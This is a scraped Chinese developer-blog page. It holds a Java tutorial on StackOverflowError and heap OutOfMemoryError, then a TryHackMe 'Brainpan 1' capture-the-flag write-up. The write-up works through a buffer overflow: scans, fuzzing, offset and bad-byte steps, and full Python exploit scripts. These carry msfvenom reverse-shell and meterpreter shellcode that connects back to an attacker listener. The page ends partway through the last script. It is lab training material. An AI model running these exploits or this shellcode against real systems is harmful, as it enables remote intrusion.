开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

Java OOM认知

发表于 2021-11-25

这是我参与11月更文挑战的第21天,活动详情查看:2021最后一次更文挑战。

一. StackOverflowError

1.1 bug

1
2
3
4
5
6
7
8
9
java复制代码public class StackOverflowErrorDemo {
public static void main(String[] args) {
javaKeeper();
}

private static void javaKeeper() {
javaKeeper();
}
}

JVM 虚拟机栈是有深度的,在执行方法的时候会伴随着入栈和出栈,上边的方法可以看到,main 方法执行后不停的递归,迟早把栈撑爆了

1
2
bash复制代码Exception in thread "main" java.lang.StackOverflowError
at oom.StackOverflowErrorDemo.javaKeeper(StackOverflowErrorDemo.java:15)

1.2 原因分析

  • 无限递归循环调用(最常见原因),要时刻注意代码中是否有了循环调用方法而无法退出的情况
  • 执行了大量方法,导致线程栈空间耗尽
  • 方法内声明了海量的局部变量
  • native 代码有栈上分配的逻辑,并且要求的内存还不小,比如 java.net.SocketInputStream.read0 会在栈上要求分配一个 64KB 的缓存(64位 Linux)

1.3 解决方案

  • 修复引发无限递归调用的异常代码, 通过程序抛出的异常堆栈,找出不断重复的代码行,按图索骥,修复无限递归 Bug
  • 排查是否存在类之间的循环依赖(当两个对象相互引用,在调用toString方法时也会产生这个异常)
  • 通过 JVM 启动参数 -Xss 增加线程栈内存空间, 某些正常使用场景需要执行大量方法或包含大量局部变量,这时可以适当地提高线程栈空间限制

二. Java heap space

Java 堆用于存储对象实例,我们只要不断的创建对象,并且保证 GC Roots 到对象之间有可达路径来避免 GC 清除这些对象,那随着对象数量的增加,总容量触及堆的最大容量限制后就会产生内存溢出异常。

Java 堆内存的 OOM 异常是实际应用中最常见的内存溢出异常。

2.1 bug

1
2
3
4
5
6
7
8
9
10
11
java复制代码/**
* JVM参数:-Xmx12m
*/
public class JavaHeapSpaceDemo {

static final int SIZE = 2 * 1024 * 1024;

public static void main(String[] a) {
int[] i = new int[SIZE];
}
}

代码试图分配容量为 2M 的 int 数组,如果指定启动参数 -Xmx12m,分配内存就不够用,就类似于将 XXXL 号的对象,往 S 号的 Java heap space 里面塞。

1
2
bash复制代码Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at oom.JavaHeapSpaceDemo.main(JavaHeapSpaceDemo.java:13)

2.2 原因分析

  • 请求创建一个超大对象,通常是一个大数组
  • 超出预期的访问量/数据量,通常是上游系统请求流量飙升,常见于各类促销/秒杀活动,可以结合业务流量指标排查是否有尖状峰值
  • 过度使用终结器(Finalizer),该对象没有立即被 GC
  • 内存泄漏(Memory Leak),大量对象引用没有释放,JVM 无法对其自动回收,常见于使用了 File 等资源没有回收

2.3 解决方案

针对大部分情况,通常只需要通过 -Xmx 参数调高 JVM 堆内存空间即可。如果仍然没有解决,可以参考以下情况做进一步处理:

  • 如果是超大对象,可以检查其合理性,比如是否一次性查询了数据库全部结果,而没有做结果数限制
  • 如果是业务峰值压力,可以考虑添加机器资源,或者做限流降级。
  • 如果是内存泄漏,需要找到持有的对象,修改代码设计,比如关闭没有释放的连接

内存泄露和内存溢出

内存溢出(out of memory),是指程序在申请内存时,没有足够的内存空间供其使用,出现out of memory;比如申请了一个 Integer,但给它存了 Long 才能存下的数,那就是内存溢出。

内存泄露( memory leak),是指程序在申请内存后,无法释放已申请的内存空间,一次内存泄露危害可以忽略,但内存泄露堆积后果很严重,无论多少内存,迟早会被占光。

memory leak 最终会导致 out of memory!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

【Tryhackme】Brainpan 1(缓冲区溢出漏洞,

发表于 2021-11-25

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
less复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# nmap -sV -Pn 10.10.248.211
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-24 22:51 EST
Nmap scan report for 10.10.248.211
Host is up (0.32s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.91%I=7%D=11/24%Time=619F086F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\
SF:x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\
SF:x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.55 seconds

可以看到只开了一个http服务和一个未知的9999端口服务

目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
less复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# gobuster dir -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -u http://10.10.248.211:10000/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.248.211:10000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/24 22:55:37 Starting gobuster in directory enumeration mode
===============================================================
/bin (Status: 301) [Size: 0] [--> /bin/]

有一个/bin目录,把里面的brainpan.exe下载到本地windows机器打开,发现开了一个9999端口的服务,由此可见靶机上的9999端口服务跑的也是这个程序。

缓冲区溢出验证

FUZZING

由于缓冲区溢出需要反复测试,我们需要在本地另外准备一台windows靶机。这边预备了一台win7主机,内网IP是192.168.3.49,预装了Immunity Debugger调试软件
我们用以下fuzzy.py代码开始fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
lua复制代码#!/usr/bin/env python3
import socket, time, sys

ip = "192.168.3.49"

port = 9999
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)

可以看见,在发送600个字节时靶机程序崩溃

Brainpan1.png

计算EIP位置

此时我们生成一段不重复字节,我们在这里选择600个字节,执行:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

1
2
3
bash复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

准备好我们的第二个脚本exploit.py,把上面生成的字节码copy到变量payload中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ini复制代码#coding=utf-8
#!/usr/bin/python

#这里主要是为了定位EIP的内存地址
import socket

ip = "192.168.3.49"
port = 9999

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

在Immunity Debugger中重启brainpan.exe程序,然后执行上面的exploit.py

观察Immunity Debugger中EIP的值:72413172

Brainpan2.png

计算出EIP的偏移量,执行:

msf-pattern_offset -q 72413172

1
2
3
css复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# msf-pattern_offset -q 72413172
[*] Exact match at offset 514

得出偏移量值为:514

查找坏字节

我们在Immunity Debugger中输入:!mona bytearray -b "\x00"

0x00在C/C++语言中表示终止,所以是一个很普遍的坏字节,在上面我们首先把它排除掉。
我们用下面的bytearray.py脚本生成所有字节码:

1
2
3
scss复制代码for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()

执行:

1
2
3
bash复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# python3 bytearray.py
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

此时我们准备第二个攻击脚本exploit2.py,把上面生成的字节码粘贴到payload变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ini复制代码import socket

ip = "192.168.3.49"
port = 9999

prefix = "OVERFLOW1 "
offset = 514
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

同时,我们把偏移量514赋值到offset变量,把”BBBB”赋值到retn变量,重启brainpan.exe,执行上面的脚本

Brainpan3.png

我们可以查看到EIP的值,此时已经变成了42424242,42在ASCII里就是大写的B,也就是我们上面的exploit.py里面retn的值,此时已证明可以覆盖到EIP。

另外,记住这里ESP的值是:0028F930

我们执行!mona compare -f C:\mona\brainpan\bytearray.bin -a 0028F930

Brainpan4.png

居然没有坏字节,过节了。

但是需要注意,0x00在C/C++语言中表示终止,所以是一个很普遍的坏字节,因此在这种情况下,我们可以认为唯一的坏字节是:\x00

找到可以利用的ESP地址

!mona jmp -r esp -cpb “\x00”

Brainpan5.png

有一个可以利用的地址,记录内存地址:311712F3

需要注意的是这个地址需要从后面往回写,即:\xf3\x12\x17\x31

利用msfvenom ,我们生成攻击的shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.67 LPORT=4444 EXITFUNC=thread -b “\x00” -f c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
arduino复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.67 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xda\xde\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x52\xba\x3d\x6b\xed"
"\x34\x31\x56\x17\x03\x56\x17\x83\xd3\x97\x0f\xc1\xd7\x80\x52"
"\x2a\x27\x51\x33\xa2\xc2\x60\x73\xd0\x87\xd3\x43\x92\xc5\xdf"
"\x28\xf6\xfd\x54\x5c\xdf\xf2\xdd\xeb\x39\x3d\xdd\x40\x79\x5c"
"\x5d\x9b\xae\xbe\x5c\x54\xa3\xbf\x99\x89\x4e\xed\x72\xc5\xfd"
"\x01\xf6\x93\x3d\xaa\x44\x35\x46\x4f\x1c\x34\x67\xde\x16\x6f"
"\xa7\xe1\xfb\x1b\xee\xf9\x18\x21\xb8\x72\xea\xdd\x3b\x52\x22"
"\x1d\x97\x9b\x8a\xec\xe9\xdc\x2d\x0f\x9c\x14\x4e\xb2\xa7\xe3"
"\x2c\x68\x2d\xf7\x97\xfb\x95\xd3\x26\x2f\x43\x90\x25\x84\x07"
"\xfe\x29\x1b\xcb\x75\x55\x90\xea\x59\xdf\xe2\xc8\x7d\xbb\xb1"
"\x71\x24\x61\x17\x8d\x36\xca\xc8\x2b\x3d\xe7\x1d\x46\x1c\x60"
"\xd1\x6b\x9e\x70\x7d\xfb\xed\x42\x22\x57\x79\xef\xab\x71\x7e"
"\x10\x86\xc6\x10\xef\x29\x37\x39\x34\x7d\x67\x51\x9d\xfe\xec"
"\xa1\x22\x2b\xa2\xf1\x8c\x84\x03\xa1\x6c\x75\xec\xab\x62\xaa"
"\x0c\xd4\xa8\xc3\xa7\x2f\x3b\x2c\x9f\x2c\xf8\xc4\xe2\x32\xef"
"\x48\x6a\xd4\x65\x61\x3a\x4f\x12\x18\x67\x1b\x83\xe5\xbd\x66"
"\x83\x6e\x32\x97\x4a\x87\x3f\x8b\x3b\x67\x0a\xf1\xea\x78\xa0"
"\x9d\x71\xea\x2f\x5d\xff\x17\xf8\x0a\xa8\xe6\xf1\xde\x44\x50"
"\xa8\xfc\x94\x04\x93\x44\x43\xf5\x1a\x45\x06\x41\x39\x55\xde"
"\x4a\x05\x01\x8e\x1c\xd3\xff\x68\xf7\x95\xa9\x22\xa4\x7f\x3d"
"\xb2\x86\xbf\x3b\xbb\xc2\x49\xa3\x0a\xbb\x0f\xdc\xa3\x2b\x98"
"\xa5\xd9\xcb\x67\x7c\x5a\xeb\x85\x54\x97\x84\x13\x3d\x1a\xc9"
"\xa3\xe8\x59\xf4\x27\x18\x22\x03\x37\x69\x27\x4f\xff\x82\x55"
"\xc0\x6a\xa4\xca\xe1\xbe";

把生成的shellcode放到我们最后一个攻击脚本exploit3.py中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
makefile复制代码import socket

ip = "192.168.3.49"
port = 9999

prefix = "OVERFLOW1 "
offset = 514
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"

padding = "\x90" * 16

buf = ""
buf +="\xda\xde\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x52\xba\x3d\x6b\xed"
buf +="\x34\x31\x56\x17\x03\x56\x17\x83\xd3\x97\x0f\xc1\xd7\x80\x52"
buf +="\x2a\x27\x51\x33\xa2\xc2\x60\x73\xd0\x87\xd3\x43\x92\xc5\xdf"
buf +="\x28\xf6\xfd\x54\x5c\xdf\xf2\xdd\xeb\x39\x3d\xdd\x40\x79\x5c"
buf +="\x5d\x9b\xae\xbe\x5c\x54\xa3\xbf\x99\x89\x4e\xed\x72\xc5\xfd"
buf +="\x01\xf6\x93\x3d\xaa\x44\x35\x46\x4f\x1c\x34\x67\xde\x16\x6f"
buf +="\xa7\xe1\xfb\x1b\xee\xf9\x18\x21\xb8\x72\xea\xdd\x3b\x52\x22"
buf +="\x1d\x97\x9b\x8a\xec\xe9\xdc\x2d\x0f\x9c\x14\x4e\xb2\xa7\xe3"
buf +="\x2c\x68\x2d\xf7\x97\xfb\x95\xd3\x26\x2f\x43\x90\x25\x84\x07"
buf +="\xfe\x29\x1b\xcb\x75\x55\x90\xea\x59\xdf\xe2\xc8\x7d\xbb\xb1"
buf +="\x71\x24\x61\x17\x8d\x36\xca\xc8\x2b\x3d\xe7\x1d\x46\x1c\x60"
buf +="\xd1\x6b\x9e\x70\x7d\xfb\xed\x42\x22\x57\x79\xef\xab\x71\x7e"
buf +="\x10\x86\xc6\x10\xef\x29\x37\x39\x34\x7d\x67\x51\x9d\xfe\xec"
buf +="\xa1\x22\x2b\xa2\xf1\x8c\x84\x03\xa1\x6c\x75\xec\xab\x62\xaa"
buf +="\x0c\xd4\xa8\xc3\xa7\x2f\x3b\x2c\x9f\x2c\xf8\xc4\xe2\x32\xef"
buf +="\x48\x6a\xd4\x65\x61\x3a\x4f\x12\x18\x67\x1b\x83\xe5\xbd\x66"
buf +="\x83\x6e\x32\x97\x4a\x87\x3f\x8b\x3b\x67\x0a\xf1\xea\x78\xa0"
buf +="\x9d\x71\xea\x2f\x5d\xff\x17\xf8\x0a\xa8\xe6\xf1\xde\x44\x50"
buf +="\xa8\xfc\x94\x04\x93\x44\x43\xf5\x1a\x45\x06\x41\x39\x55\xde"
buf +="\x4a\x05\x01\x8e\x1c\xd3\xff\x68\xf7\x95\xa9\x22\xa4\x7f\x3d"
buf +="\xb2\x86\xbf\x3b\xbb\xc2\x49\xa3\x0a\xbb\x0f\xdc\xa3\x2b\x98"
buf +="\xa5\xd9\xcb\x67\x7c\x5a\xeb\x85\x54\x97\x84\x13\x3d\x1a\xc9"
buf +="\xa3\xe8\x59\xf4\x27\x18\x22\x03\x37\x69\x27\x4f\xff\x82\x55"
buf +="\xc0\x6a\xa4\xca\xe1\xbe";


payload = buf
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

在kali开启一个监听,执行上面代码,收到本地靶机的反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
scss复制代码┌──(root💀kali)-[~/tryhackme/Brainpan]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.3.67] from (UNKNOWN) [192.168.3.49] 49215
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Users\max\Desktop>whoami
whoami
win-mrft0tavd10\max

C:\Users\max\Desktop>

到此为止,我们已经成功验证brainpan.exe存在一个缓冲区溢出漏洞,并且给出了攻击代码。

攻击

为了后续渗透提权方便,在攻击远程靶机时,我们的payload换成了meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b “\x00” -f c

正式攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
makefile复制代码import socket

ip = "10.10.80.112"
port = 9999

prefix = "OVERFLOW1 "
offset = 514
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"

padding = "\x90" * 16

buf = ""
buf +="\xbd\xb2\x86\x88\xad\xdb\xd9\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
buf +="\x5e\x31\x68\x15\x03\x68\x15\x83\xe8\xfc\xe2\x47\x7a\x60\x22"
buf +="\xa7\x83\x71\x5d\x2e\x66\x40\x4f\x54\xe2\xf1\x5f\x1f\xa6\xf9"
buf +="\x14\x4d\x53\x33\xd4\x7e\xec\x79\x0c\x0b\x60\x56\x61\xcb\x29"
buf +="\x9a\xe0\xb7\x33\xcf\xc2\x86\xfb\x02\x02\xcf\x4d\x68\xeb\x9d"
buf +="\x1a\x19\xa1\x31\x2e\x5f\x7a\x30\xe0\xeb\xc2\x4a\x85\x2c\xb6"
buf +="\xe6\x84\x7c\x67\x7d\xce\x64\x03\xd9\xef\x95\xc0\x5c\x26\xe1"
buf +="\xda\x17\x88\xf5\xa8\x93\x61\x08\x79\xea\xb5\xa7\x44\xc3\x3b"
buf +="\xb9\x81\xe3\xa3\xcc\xf9\x10\x59\xd7\x39\x6b\x85\x52\xde\xcb"
buf +="\x4e\xc4\x3a\xea\x83\x93\xc9\xe0\x68\xd7\x96\xe4\x6f\x34\xad"
buf +="\x10\xfb\xbb\x62\x91\xbf\x9f\xa6\xfa\x64\x81\xff\xa6\xcb\xbe"
buf +="\xe0\x0e\xb3\x1a\x6a\xbc\xa2\x1b\x93\x3f\xcb\x41\x04\x8c\x06"
buf +="\x7a\xd4\x9a\x11\x09\xe6\x05\x8a\x85\x4a\xce\x14\x51\xda\xd8"
buf +="\xa6\x8d\x64\x88\x58\x2e\x95\x81\x9e\x7a\xc5\xb9\x37\x03\x8e"
buf +="\x39\xb7\xd6\x3b\x33\x2f\xd3\xb6\x56\x06\x8b\xca\x58\x49\x10"
buf +="\x42\xbe\x39\xf8\x04\x6e\xfa\xa8\xe4\xde\x92\xa2\xea\x01\x82"
buf +="\xcc\x20\x2a\x29\x23\x9d\x03\xc6\xda\x84\xdf\x77\x22\x13\x9a"
